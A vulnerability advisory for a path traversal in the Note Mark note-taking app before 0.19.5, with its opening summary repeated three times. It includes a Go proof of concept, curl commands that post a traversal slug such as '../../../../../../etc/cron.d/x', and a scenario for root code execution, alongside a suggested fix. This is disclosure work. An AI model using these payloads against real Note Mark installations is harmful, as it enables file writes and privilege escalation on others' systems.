Note Mark is an open-source note-taking application. Prior to version 0.19.5, Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim. The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write. This issue has been patched in version 0.19.5.
Note Mark is an open-source note-taking application. Prior to version 0.19.5, Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim. The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write. This issue has been patched in version 0.19.5.
Note Mark is an open-source note-taking application. Prior to version 0.19.5, Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim. The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write. This issue has been patched in version 0.19.5.
## Summary
Note Mark validates book and note `slug` values with the OpenAPI/huma tag `pattern:"[a-z0-9-]+"`. huma compiles this with `regexp.MustCompile(s.Pattern)` and tests it with `patternRe.MatchString(str)`, an UNANCHORED match. Because the pattern is not anchored (`^...$`), any string that merely CONTAINS one `[a-z0-9-]` substring passes validation. A slug such as `../../../../../../tmp/escape` is accepted and stored verbatim.
The data-export CLI commands (`note-mark migrate export` and `note-mark migrate export-v1`) join these unsanitized slugs straight into the output path with `path.Join` / `filepath.Join`, then `os.MkdirAll` the directory and `os.Create` the note file. `path.Join` resolves the `../` segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.
This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added `filepath.Base(asset.Name)` to sanitize the asset filename, but the adjacent path components `book.Slug` and `note.Slug` — used in the very same `path.Join` calls in the same two export functions — were left raw, and their input-side `pattern` guard is bypassable as shown above.
## Vulnerable code
Slug input validation (`backend/db/types.go`, v0.19.4):
```go
type CreateBook struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
IsPublic bool `json:"isPublic,omitempty" default:"false"`
}
type CreateNote struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
}
```
huma applies the pattern UNANCHORED (`github.com/danielgtaylor/huma/[email protected]`):
```go
// schema.go
if s.Pattern != "" {
s.patternRe = regexp.MustCompile(s.Pattern)
```
```go
// validate.go
if s.patternRe != nil {
if !s.patternRe.MatchString(str) {
res.Add(path, v, s.msgPattern)
```
`regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape")` is `true` (it matches the `tmp` substring), so the traversal slug passes and `BooksService.CreateBook` / `NotesService` store it verbatim.
Export sinks (`backend/cli/migrate.go`, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:
```go
// commandMigrateExportDataV1 / commandMigrateExportData
for _, book := range user.Books {
bookDir := path.Join(exportDir, user.Username, book.Slug) // book.Slug raw
for _, note := range book.Notes {
noteDir := path.Join(bookDir, note.Slug) // note.Slug raw
if err := os.MkdirAll(noteDir, os.ModePerm); err != nil {
return err
}
f, err := os.Create(path.Join(noteDir, "_index.md")) // escapes exportDir
```
```go
// the same functions DO sanitize the sibling asset name:
assetFileName := filepath.Base(asset.Name)
if assetFileName == "/" || assetFileName == "." {
log.Printf("disallowed asset filename found '%s', skipping\n", asset.Name)
continue
}
f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName))
```
## Impact
A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing `slug`. When an administrator later runs `note-mark migrate export` or `export-v1` (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's `_index.md` to an arbitrary filesystem location outside the export directory. With root, this allows writing to `/etc/cron.d/`, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.
## Attack scenario
1. Attacker registers / uses any normal user account.
2. Attacker `POST /api/books` (or a note) with `slug` = `../../../../../../etc/cron.d/x` (passes the unanchored `[a-z0-9-]+` pattern). Stored verbatim.
3. Admin runs `note-mark migrate export-v1 --export-dir /data/backup` (root).
4. Exporter does `path.Join("/data/backup", username, "../../../../../../etc/cron.d/x")` which yields `/etc/cron.d/x`, then `os.MkdirAll` creates it and `os.Create(path.Join(noteDir, "_index.md"))` writes attacker-influenced content outside `/data/backup`.
## Proof of concept
Self-contained Go reproducer pinning `huma v2.37.3` (Note Mark's exact version) and Note Mark's exact `CreateBook` DTO + the exact export `path.Join` expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.
```go
// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3
package main
import (
"context"
"fmt"
"net/http"
"net/http/httptest"
"os"
"path"
"strings"
"github.com/danielgtaylor/huma/v2"
"github.com/danielgtaylor/huma/v2/adapters/humago"
)
// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.
type CreateBook struct {
Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
IsPublic bool `json:"isPublic,omitempty" default:"false"`
}
type CreateBookInput struct{ Body CreateBook }
type CreateBookOutput struct {
Body struct {
Slug string `json:"slug"`
}
}
func main() {
mux := http.NewServeMux()
api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0"))
var stored string
huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"},
func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {
stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim
out := &CreateBookOutput{}
out.Body.Slug = in.Body.Slug
return out, nil
})
const traversalSlug = `../../../../../../tmp/nmpoc-escape`
body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug)
req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
mux.ServeHTTP(rec, req)
fmt.Printf("[validation] slug=%q status=%d stored=%q\n", traversalSlug, rec.Code, stored)
// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.
negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`))
negReq.Header.Set("Content-Type", "application/json")
negRec := httptest.NewRecorder()
mux.ServeHTTP(negRec, negReq)
fmt.Printf("[neg-control] slug=\"@@@@\" status=%d (expect 422)\n", negRec.Code)
// Export sink expression from backend/cli/migrate.go:187,191,203.
exportDir := "/tmp/nmpoc-exportroot"
_ = os.RemoveAll(exportDir)
_ = os.RemoveAll("/tmp/nmpoc-escape")
_ = os.MkdirAll(exportDir, 0o755)
bookDir := path.Join(exportDir, "victim", stored)
noteDir := path.Join(bookDir, "n")
_ = os.MkdirAll(noteDir, 0o755)
outPath := path.Join(noteDir, "_index.md")
_ = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT\n"), 0o644)
escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/")
fmt.Printf("[export] joined=%q escapedExportDir=%v\n", outPath, escaped)
if d, err := os.ReadFile("/tmp/nmpoc-escape/n/_index.md"); err == nil {
fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q\n", strings.TrimSpace(string(d)))
}
}
```
Verbatim output (`go run .`, huma v2.37.3, go1.26.1):
```
[validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape"
[neg-control] slug="@@@@" status=422 (expect 422)
[export] joined="/tmp/nmpoc-escape/n/_index.md" escapedExportDir=true
[export] SENTINEL written OUTSIDE exportDir => "PWNED-NOTE-CONTENT"
```
The traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export `path.Join` writes the note file outside the export root.
## End-to-end reproduction
Against the released image `ghcr.io/enchant97/note-mark-aio:0.19.4` (the GHSA-g49p fix release):
```bash
# 1. start
docker run -d --name nm -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" \
-e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.4
# 2. register + login (capture Auth-Session-Token cookie)
curl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Attack3r!","name":"a"}'
TOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}' \
| sed -n 's/.*Auth-Session-Token=\([^;]*\).*/\1/p')
# 3. create a book with a traversing slug — passes the [a-z0-9-]+ pattern
curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' \
-b "Auth-Session-Token=$TOKEN" \
-d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}'
# response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201)
# 4. add a note under that book (any valid note slug), then trigger admin export
docker exec nm /note-mark migrate export-v1 --export-dir /data/backup
# 5. observe the note _index.md written outside /data/backup
docker exec nm ls -la /tmp/nmpoc-escape/
```
The self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).
## Suggested fix
Apply `filepath.Base()` (the same idiom already used for `asset.Name` in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:
```go
bookSlug := filepath.Base(book.Slug)
noteSlug := filepath.Base(note.Slug)
if bookSlug != book.Slug || noteSlug != note.Slug {
log.Printf("disallowed slug found, skipping book=%q note=%q\n", book.Slug, note.Slug)
continue
}
bookDir := path.Join(exportDir, user.Username, bookSlug)
noteDir := path.Join(bookDir, noteSlug)
```
Root cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex `pattern:"^[a-z0-9-]+$"`, or reject `strings.ContainsAny(slug, "/\\.")` in the create/update handlers (mirroring the `PostNoteAsset` header check added by GHSA-g49p). `user.Username` (`pattern:"[a-zA-Z0-9]+"`) is also unanchored and should be anchored for the same reason.
## Affected versions
`<= v0.19.4` (current latest release). The slug components are used unsanitized in `backend/cli/migrate.go` at v0.19.4, the release that fixed the sibling `asset.Name` traversal (GHSA-g49p-4qxj-88v3).
## Fix PR
A fix is prepared on the temporary private advisory fork: `enchant97/note-mark-ghsa-rqrh-8wpv-x7hh` PR #1. It anchors the slug/username `pattern` tags (`^[a-z0-9-]+$` / `^[a-zA-Z0-9]+$`) at the input layer and adds defense-in-depth `filepath.Base()` checks to both export functions, plus a regression test. `go test ./backend/db/` passes with the fix and fails against the old unanchored pattern.
## Credit
Reported by tonghuaroot.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 4, 2026, 5:25:11 PM
dateUpdated: Sep 4, 2026, 5:46:40 PM
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NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-20 · CWE-22
Original publisher date fields
published: 2026-09-04T18:17:52.203
lastModified: 2026-09-09T21:09:13.080
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.